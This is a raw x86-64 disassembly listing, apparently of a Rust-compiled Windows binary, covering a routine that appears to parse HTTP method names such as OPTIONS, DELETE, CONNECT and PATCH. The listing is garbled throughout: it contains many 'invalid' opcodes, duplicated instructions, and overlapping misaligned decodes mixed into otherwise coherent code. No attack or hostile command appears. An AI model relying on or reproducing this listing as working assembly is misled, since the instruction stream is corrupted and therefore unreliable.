invalid
add byte [rax + 0xf4f047a], al
test ebp, edx
add al, byte [rax]
add byte [rax + 0xf4e057a], al
add eax, 0xcb850f4e
cmp byte [rdx + 4], 0x4f
jne 0x140031459
cmp byte [rdx + 5], 0x4e
jne 0x140031459
add eax, 0xcb850f4e
add al, byte [rax]
add byte [rax + 0xf53067a], al
cmp byte [rdx + 6], 0x53
jne 0x140031459
test ecx, eax
add al, byte [rax]
invalid
test ecx, eax
add al, byte [rax]
add dh, al
add dword [rax], eax
mov byte [rcx], 0
jmp 0x140031a67
cmp r8, 0xf
jae 0x140031335
test r8, r8
je 0x14003163f
movzx eax, byte [rdx]
lea r12, [0x14012a2d0]
xchg ecx, eax
sldt word [rdx + 0xf]
mov dh, 4
and byte [rcx - 0x7b9bdbbc], cl
ror byte [rdi], 0x84
xchg esi, eax
or byte [rax], al
invalid
xchg ecx, eax
sldt word [rdx + 0xf]
mov dh, 4
and byte [rcx - 0x7b9bdbbc], cl
ror byte [rdi], 0x84
xchg esi, eax
or byte [rax], al
add byte [rcx - 0x7d], cl
clc
add dword [rdi], ecx
test byte [rdi + 4], ch
outsd dx, dword [rsi]
add al, 0
invalid
cmp r8, 1
je 0x140031647
outsd dx, dword [rsi]
add al, 0
invalid
outsd dx, dword [rsi]
add al, 0
add byte [rdi + rcx - 0x4a], al
add qword [rdi + 0xf], rax
mov dh, 0xc
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r12]
and dword [rbp - 0x7c], eax
leave
and dword [rbp - 0x7c], eax
leave
je case.0x1400310d8.0
mov dword [rsp + 0x24], r9d
and al, 0x24
cmp r8, 2
jne 0x1400316ba
xor esi, esi
xor r10d, r10d
test byte [rbp + 0x31], 0xd2
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
xor ebp, ebp
xor r12d, r12d
mov ebx, dword [rsp + 0x24]
inc dword [rbp + 0x31]
invalid
jmp 0x14003166d
movzx eax, byte [rdx]
cmp eax, 0x50
je case.0x1400d62e6.911
add r8d, dword [r8]
invalid
add r8d, dword [r8]
add byte [rbx - 0x7af0ab08], al
pop rsp
add eax, dword [rax]
add byte [rax + 0xf52017a], al
cmp byte [rdx + 1], 0x52
jne 0x140031598
invalid
cmp eax, 0x54
jne 0x140031598
cmp byte [rdx + 1], 0x52
jne 0x140031598
invalid
add byte [rax + 0xf41027a], al
test dword [rax + 3], ecx
add byte [rax], al
cmp byte [rdx + 2], 0x41
jne 0x140031598
jne 0x140031598
cmp byte [rdx + 3], 0x43
jne 0x140031598
add eax, dword ds:[rax]
invalid
add eax, dword [rbx + 0xf]
test dword [rsi], edi
add eax, dword ds:[rax]
add eax, dword ds:[rax]
add byte [rax + 0xf45047a], al
cmp byte [rdx + 4], 0x45
jne 0x140031598
test dword [rbx + rax], esi
add byte [rax], al
invalid
test dword [rbx + rax], esi
add byte [rax], al
invalid
add dh, al
add dword [rsi], eax
mov byte [rcx], 6
jmp 0x140031a67
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
cmp rax, 0x44
cmp eax, 0x44
jne 0x14003129b
cmp byte [rdx + 1], 0x45
jne 0x14003129b
cmp byte [rdx + 2], 0x4c
jne 0x14003129b
add cl, byte [rbp + rsi*2 + 0x1a]
cmp byte [rdx + 3], 0x45
jne 0x14003129b
cmp byte [rdx + 4], 0x54
push rsp
jne 0x14003129b
cmp byte [rdx + 5], 0x45
jne 0x14003129b
mov byte [rcx], 4
jmp 0x140031a67
int3
invalid
add byte [rax], al
int3
lea r8, [0x14012a2d0]
movzx eax, byte [rax + r8]
mov dh, 4
add byte [rax + rax*8 + 0x7b5840f], al
add byte [rax], al
mov dh, 4
add byte [rax + rax*8 + 0x7b5840f], al
add byte [rax], al
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
mov dh, 0x4a
add dword [rdi + 0xf], eax
mov dh, 0xc
add dword [rbp - 0x7c], eax
leave
je case.0x1400310d8.0
movabs byte [0x252b60f44000007], al
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400310d8.0
add al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rdi + 0x44000007], cl
movzx ebx, byte [rdx + 3]
pop rdx
invalid
movzx r11d, byte [rdx + 3]
pop rdx
add eax, dword [rdi + 0xf]
mov dh, 0x1c
add eax, dword [rbp - 0x7c]
fisttp dword [rdi]
test byte [rdi + rax], bh
invalid
add byte [rax], al
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400310d8.0
invalid
add byte [rax], al
invalid
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400310d8.0
fisttp dword [rdi]
test byte [rbx + 7], ch
add byte [rax], al
movzx edx, byte [rdx + 5]
movzx edx, byte [rdx + r8]
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x75a840f]
add byte [rax], al
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x75a840f]
add byte [rax], al
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 4], bl
or dword [rax - 0x77bbfebf], ecx
add al, byte [r8 + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
mov byte [rcx + 4], bl
mov byte [rcx + 5], bl
mov byte [rcx + 6], dl
mov qword [rcx + 7], 0
add byte [rax], al
add byte [rax], al
mov byte [rcx + 4], bl
mov byte [rcx + 5], bl
mov byte [rcx + 6], dl
mov qword [rcx + 7], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov word [rcx + 0xf], 0x600
jmp 0x140031a67
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x88
outsb dx, byte [rsi]
invalid
test r8, r8
js 0x1400319ac
mov rdi, rdx
xlatb
mov rbx, rcx
mov ecx, 8
mov rsi, r8
mov rdx, r8
mov edx, eax
mov edx, eax
call fcn.1400df910
test rax, rax
je 0x1400319b1
invalid
add byte [rax], al
ror byte [rdi], 0x84
push rsp
invalid
xor ecx, ecx
lea r8, [0x14012a2d0]
mov rdx, rbx
mov edx, ebx
mov edx, ebx
nop dword [rax]
movzx r9d, byte [rdi + rcx]
movzx r9d, byte [r9 + r8]
test r9b, r9b
cmova ecx, dword [rdi]
mov dh, 0xc
add dword [rbp - 0x7c], eax
leave
je 0x140031622
add byte [rax], al
mov byte [rax + rcx], r9b
inc rcx
cmp rsi, rcx
jne 0x140031370
invalid
loope 0x140031356
mov byte [rdx], 0xa
add cl, byte [rdx]
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rsi
adc cl, ch
enter 6, 0
adc cl, ch
enter 6, 0
cmp byte [rdx + 1], 0x45
jne 0x1400313b9
jne 0x1400313b9
cmp byte [rdx + 2], 0x41
jne 0x1400313b9
jne 0x1400313b9
cmp byte [rdx + 3], 0x44
jne 0x1400313b9
invalid
or dh, al
add dword [0x14009c2a1], eax
add byte [rbp + rcx*4 + 5], cl
adc byte [rdi + 0xf42000f], cl
sldt word [rdx + 0xf]
mov byte [rcx], 5
jmp 0x140031a67
lea r8, [0x14012a2d0]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400310d8.0
add byte [rax], al
sldt word [rdx + 0xf]
mov dh, 4
add byte [rax + rax*8 + 0x697840f], al
add byte [rax], al
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400310d8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400310d8.0
movzx edx, byte [rdx + 3]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400310d8.0
invalid
add dh, al
add dword [rcx], ecx
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
add al, byte [r8 + rcx*4 + 0x51]
invalid
mov byte [rcx + 4], dl
add al, byte [r8 + rcx*4 + 0x51]
add ecx, dword [rax - 0x38b7fbaf]
mov qword [rcx + 5], 0
mov qword [rcx + 5], 0
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 4
add al, 0xe9
cmp al, byte [rsi]
add byte [rax], al
or al, 0
add byte [rax], al
add dh, al
adc byte [r9 + rbp*8], al
add al, 0xe9
add al, 0xe9
cmp al, byte [rsi]
add byte [rax], al
cmp byte [rdx + 1], 0x4f
jne 0x140031459
cmp byte [rdx + 2], 0x4e
jne 0x140031459
cmp byte [rdx + 3], 0x4e
jne 0x140031459
cmp byte [rdx + 4], 0x45
jne 0x140031459
cmp byte [rdx + 5], 0x43
jne 0x140031459
invalid
invalid
cmp byte [rdx + 6], 0x54
jne 0x140031459
mov byte [rcx], 7
jmp 0x140031a67
lea r8, [0x14012a2d0]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400310d8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400310d8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400310d8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400310d8.0
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400310d8.0
movzx esi, byte [rdx + 5]
movzx esi, byte [rsi + r8]
test sil, sil
je case.0x1400310d8.0
movzx edx, byte [rdx + 6]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400310d8.0
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], sil
mov byte [rcx + 7], dl
mov qword [rcx + 8], 0
mov byte [rcx + 0x10], 7
jmp 0x140031a67
cmp byte [rdx + 1], 0x45
jne 0x14003151b
cmp byte [rdx + 2], 0x54
jne 0x14003151b
mov byte [rcx], 1
jmp 0x140031a67
invalid
invalid
add byte [rax], al
add rax, 0xffffffff8d4c0000
add eax, 0xf8dae
lea r8, [0x14012a2d0]
movzx eax, byte [rax + r8]
add al, 0
test al, al
je case.0x1400310d8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400310d8.0
movzx edx, byte [rdx + 2]
movzx edx, byte [rdx + r8]
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x511840f]
add byte [rax], al
mov dh, 0x14
add al, byte [rdx + rdx*8 + 0x511840f]
add byte [rax], al
mov byte [rcx], 9
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], dl
mov qword [rcx + 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rcx + 0xc], 0
mov byte [rcx + 0x10], 3
jmp 0x140031a67
cmp byte [rdx + 1], 0x41
jne 0x140031598
cmp byte [rdx + 2], 0x54
jne 0x140031598
add dl, byte [rbp + rsi*2 + 0x14]
cmp byte [rdx + 3], 0x43
jne 0x140031598
cmp byte [rdx + 4], 0x48
jne 0x140031598
mov byte [rcx], 8
jmp 0x140031a67
lea r8, [0x14012a2d0]
movzx eax, byte [rax + r8]
xor dword [rbp + 0xf42000f], ecx
mov dh, 4
add byte [rax + rax*8 + 0x4b8840f], al
test al, al
je case.0x1400310d8.0
test al, al
je case.0x1400310d8.0
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
test cl, cl
je case.0x1400310d8.0
movzx r10d, byte [rdx + 2]
movzx edx, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400310d8.0
movzx r11d, byte [rdx + 3]
movzx ebx, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
add eax, dword [rbp - 0x7c]
fisttp dword [rdi]
test byte [rdi + 4], bh
add al, 0
invalid
test r11b, r11b
je case.0x1400310d8.0
add al, 0
invalid
add al, 0
add byte [rdi], cl
movzx edx, byte [rdx + 4]
movzx edx, byte [rdx + r8]
movzx edx, byte [rdx + 4]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400310d8.0
mov byte [rcx], 9
add dword [rcx], ecx
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
add al, byte [r8 + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
add al, 0x88
push rcx
add eax, 0x641c748
add byte [rax], al
add byte [rax], al
add al, byte [r8 + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
add al, 0x88
push rcx
add eax, 0x641c748
add byte [rax], al
add byte [rax], al
mov word [rcx + 0xe], 0
mov byte [rcx + 0x10], 5
adc byte [0x140075c0a], al
invalid
adc byte [0x140075c0a], al
add byte [rax - 0x75], cl
or eax, 0x150c37
mov rcx, qword [0x140182260]
mov rsi, rdx
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsi], 0xb
jmp 0x140031a67
mov dword [rsp + 0x64], 0
xor ebx, ebx
xor esi, esi
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov byte [rcx], 9
mov r14d, dword [rsp + 0x64]
mov byte [rcx + 1], r14b
mov byte [rcx + 2], bl
mov byte [rcx + 3], sil
mov byte [rcx + 4], r10b
mov byte [rcx + 5], dil
mov byte [rcx + 6], r9b
mov byte [rcx + 7], dl
mov edx, dword [rsp + 0x38]
mov byte [rcx + 8], dl
mov byte [rcx + 9], al
mov byte [rcx + 0xa], r13b
mov byte [rcx + 0xb], r15b
mov byte [rcx + 0xc], r11b
mov byte [rcx + 0xd], bpl
mov byte [rcx + 0xe], r12b
mov byte [rcx + 0xf], 0
mov byte [rcx + 0x10], r8b
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
invalid
adc cl, ch
lodsd eax, dword [rsi]
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
push rdx
add al, byte [rdi + 0xf]
mov dh, 0x14
and al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rdi + 0x44000003], dl
mov dword [rsp + 0x28], edx
and al, 0x28
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r12]
test r10b, r10b
je case.0x1400310d8.0
mov dword [rsp + 0x28], r10d
and al, 0x28
cmp r8, 3
jne 0x1400316fc
xor r10d, r10d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
jmp case.0x1400295f9.240
movzx r11d, byte [rdx + 3]
movzx r10d, byte [r11 + r12]
test r10b, r10b
test dl, dl
test dl, dl
ror byte [rdi], cl
test byte [rbp + 3], dl
add byte [rax], al
je case.0x1400310d8.0
mov dword [rsp + 0x2c], r10d
mov dword [rsp + 0x2c], edx
cmp r8, 4
jne 0x14003174b
invalid
xor dword [rcx], esi
inc dword [rbp + 0x31]
xor r9d, r9d
xor edi, edi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor ebp, ebp
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
in eax, dx
in eax, dx
xor r12d, r12d
mov r10d, dword [rsp + 0x2c]
in al, 0x44
mov edx, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov ebx, dword [rsp + 0x24]
jmp 0x14003166d
and bh, bh
invalid
invalid
je 0x140031765
sub byte [rbx - 0x16dbdba4], cl
and bh, bh
invalid
invalid
movzx r11d, byte [rdx + 4]
movzx r10d, byte [r11 + r12]
movzx edx, byte [rbx + riz]
pop rdx
add al, 0x47
movzx edx, byte [rbx + riz]
test r10b, r10b
je case.0x1400310d8.0
invalid
add eax, dword [rax]
invalid
invalid
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x54], al
and al, 0x30
mov dword [rsp + 0x30], r10d
cmp r8, 5
cmp eax, 5
clc
add eax, 0x31453375
xor ecx, ecx
jne 0x14003179c
xor r9d, r9d
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
rol bh, cl
and al, 0x38
add byte [rax], al
add byte [rax], al
xor eax, eax
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
xor ebp, ebp
xor r12d, r12d
mov r10d, dword [rsp + 0x2c]
sub al, 0x8b
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
je 0x1400317b2
sub byte [rbx - 0x74cfdb84], cl
mov ebx, dword [rsp + 0x24]
pop rsp
and al, 0x24
jmp 0x14003166d
movzx r11d, byte [rdx + 5]
movzx ebx, byte [rdx + 5]
movzx r9d, byte [r11 + r12]
movzx ecx, byte [rbx + riz]
test r9b, r9b
je case.0x1400310d8.0
mov dword [rsp + 0x34], r9d
mov dword [rsp + 0x34], ecx
and al, 0x34
cmp r8, 6
jne 0x1400317ef
clc
invalid
xor edx, edx
mov dword [rsp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
in eax, dx
cmp byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rbp + 0x31], 0xed
in eax, dx
in eax, dx
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
xor esp, esp
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
je 0x140031800
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
and al, 0x34
je 0x140031800
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
and al, 0x34
and al, 0x34
mov ebx, dword [rsp + 0x24]
jmp 0x14003166d
movzx r11d, byte [rdx + 6]
movzx r9d, byte [r11 + r12]
and eax, dword [rbp - 0x7c]
leave
and eax, dword [rbp - 0x7c]
leave
je case.0x1400310d8.0
add byte [rax], al
mov dword [rsp + 0x3c], r9d
mov dword [rsp + 0x3c], ecx
cmp al, 0x48
mov qword [rsp + 0x58], rdx
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r8
invalid
mov qword [rsp + 0x48], r8
cmp r8, 7
cmp r8, 7
jne 0x140031826
mov dword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x140031850
invalid
invalid
add byte [rax], al
jmp 0x140031850
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
and al, 0x58
movzx ecx, byte [rcx + 7]
movzx edx, byte [rcx + r12]
test dl, dl
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov dh, 0x14
and dword [rdx + rdx*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
je case.0x1400310d8.0
add al, byte [rax]
add byte [rcx + 0x49382454], cl
invalid
invalid
mov dword [rsp + 0x38], edx
cmp byte [rcx - 0x7d], cl
clc
or byte [rbp + 0x39], dh
cmp r8, 8
cmp eax, 8
jne 0x140031889
xor eax, eax
xor r13d, r13d
in eax, dx
in eax, dx
xor r15d, r15d
xor edi, edi
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
push rsp
and al, 0x2c
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
and al, 0x30
je 0x140031896
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
and al, 0x30
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
pop rsp
and al, 0x24
mov edx, dword [rsp + 0x3c]
jmp 0x14003166d
invalid
invalid
invalid
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
movzx ecx, byte [rcx + 8]
movzx eax, byte [rcx + r12]
and dword [rax + rax*8 + 0x244c8b48], eax
mov r8, qword [rsp + 0x48]
invalid
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
invalid
je case.0x1400310d8.0
je case.0x1400310d8.0
test byte [rbx - 0x76ffffff], bh
mov dword [rsp + 0x50], eax
and al, 0x50
cmp r8, 9
jne 0x1400318ee
xor r13d, r13d
xor r15d, r15d
xor r11d, r11d
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
jmp 0x14003166d
std
invalid
invalid
std
invalid
mov rcx, qword [rsp + 0x58]
pop rax
movzx ecx, byte [rcx + 9]
movzx r14d, byte [rcx + r12]
movzx esi, byte [rcx + riz]
movzx esi, byte [rcx + riz]
test r14b, r14b
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400310d8.0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
or dh, byte [rbp + 0x3b]
cmp r8, 0xa
jne 0x140031950
xor r15d, r15d
xor r11d, r11d
xor ebx, ebx
inc dword [rbp + 0x31]
invalid
xor ebx, ebx
xor ebp, ebp
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
mov r9d, dword [rsp + 0x34]
and al, 0x34
and al, 0x34
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
cmc
cmc
jmp 0x14003166d
std
invalid
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xa]
movzx eax, byte [rcx + r12]
movzx eax, byte [rcx + riz]
movzx eax, byte [rcx + riz]
test al, al
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r8, qword [rsp + 0x48]
and al, 0x48
je case.0x1400310d8.0
mov dword [rsp + 0x54], eax
cmp r8, 0xb
jne case.0x1400d62e6.645
xor r11d, r11d
xor ebp, ebp
jmp 0x1400319e5
mov rcx, qword [rsp + 0x58]
movzx ecx, byte [rcx + 0xb]
movzx r11d, byte [rcx + r12]
and dword [rbp - 0x7c], eax
fisttp dword [rax - 0x75]
mov ecx, dword [rsp + 0x40]
and dword [rbp - 0x7c], eax
fisttp dword [rax - 0x75]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400310d8.0
add byte [rax], al
je case.0x1400310d8.0
add byte [rax], al
cmp r8, 0xc
jne 0x1400319be
xor ebp, ebp
jmp 0x1400319e5
call fcn.140010970
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
invalid
invalid
add byte [rax - 0x77], cl
bnd call fcn.1401082a0
invalid
invalid
or eax, 0x4c8b4800
and al, 0x58
pop rax
mov rcx, qword [rsp + 0x58]
pop rax
movzx ecx, byte [rcx + 0xc]
movzx ebp, byte [rcx + r12]
test bpl, bpl
mov rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
je case.0x1400310d8.0
je case.0x1400310d8.0
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
or eax, 0x31453875
in al, 0x48
cmp r8, 0xd
jne case.0x14003683b.275
xor r12d, r12d
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
sub al, 0x8b
je 0x140031a1e
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
invalid
sub al, 0x8b
je 0x140031a1e
sub byte [rbx + 0x4430247c], cl
mov ecx, dword [rsp + 0x34]
invalid
xor al, 0x8b
pop rsp
and al, 0x24
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jmp 0x14003166d
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
movzx ecx, byte [rcx + 0xd]
movzx r12d, byte [rcx + r12]
and dword [rbp - 0x7c], eax
in al, 0x48
mov ecx, dword [rsp + 0x40]
and dword [rbp - 0x7c], eax
in al, 0x48
mov ecx, dword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r10d, dword [rsp + 0x2c]
mov r10d, dword [rsp + 0x2c]
mov esi, dword [rsp + 0x28]
mov edi, dword [rsp + 0x30]
xor byte [rbx + rcx*4 + 0x4c], al
and al, 0x34
invalid
xor byte [rbx + rcx*4 + 0x4c], al
and al, 0x34
invalid
xor al, 0x8b
pop rsp
and al, 0x24
mov ebx, dword [rsp + 0x24]
mov edx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x50]
cmp al, 0x8b
and al, 0x50
mov r13d, r14d
mov r15d, dword [rsp + 0x54]
jne 0x14003166d
mov byte [rcx], 0xb
add dword [rbx], ecx
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
int3
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012a235]
adc eax, 0xf87a2
sbb byte [rax - 0x73], cl
adc eax, 0xf87a2
add byte [rcx - 0x48], al
or eax, 0x48000000
add byte [rax], al
jmp rax
mov r8d, 0xd
add byte [rax], al
jmp rax
int3
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x14012a242]
lea rdx, [0x14012a242]
mov r8d, 0x13
jmp rax
in al, dx
sub byte [rdi], cl
mov dh, 1
add dword [rax - 0x73], ecx
or eax, 0x1456ae
push rsi
adc al, 0
add dword [rax - 0x73], ecx
or eax, 0x1456ae
push rsi
adc al, 0
push rsi
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
invalid
add eax, ecx
jmp rax
lea rax, [0x14012a8e8]
jmp 0x140031b02
lea rax, [0x14012a908]
jmp 0x140031b02
lea rax, [0x14012a8f8]
jmp 0x140031b02
lea rax, [0x14012a900]
jmp 0x140031b02
mov cs, word [rdi]
add bl, ch
invalid
lea rax, [0x14012a8f0]
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
invalid
invalid
sbb byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
mov eax, 8
mov rdx, rax
add rsp, 0x28
jmp r9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x14012a970]
lea eax, [0x14012a970]
lea eax, [0x14012a970]
mov cs, word [rdi]
add byte [rdx + 0x28], bh
invalid
mov edx, 0x28
call fcn.140108630
int3
push 0xd
add ah, cl
int3
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
mov rdi, rdx
xlatb
mov rsi, rcx
cmp byte [rcx], 0
je case.0x140028def.358
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x38]
lea eax, [rsp + 0x38]
lea eax, [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x28], rax
lea rax, [0x140031de0]
add eax, 0x272
add eax, 0x272
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
lea rax, [0x14012a818]
lea eax, [0x14012a818]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x68
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
lea rax, [rsp + 0x28]
and al, 0x28
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rsp + 0x48]
and al, 0x48
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x48
and al, 0x48
call fcn.140013990
mov ecx, eax
invalid
mov al, 1
test cl, cl
leave
dec dword [rcx - 0x7bfe4f3f]
sal dword [rax + 0xfc98401], 0x85
invalid
leave
jne 0x140031dac
cmp qword [rsi + 0x20], 0
je case.0x140028def.356
outsb dx, byte [rsi]
jle 0x140031be6
add byte [rsi + rbp*2 + 0x48], dh
lea eax, [rsi + 0x10]
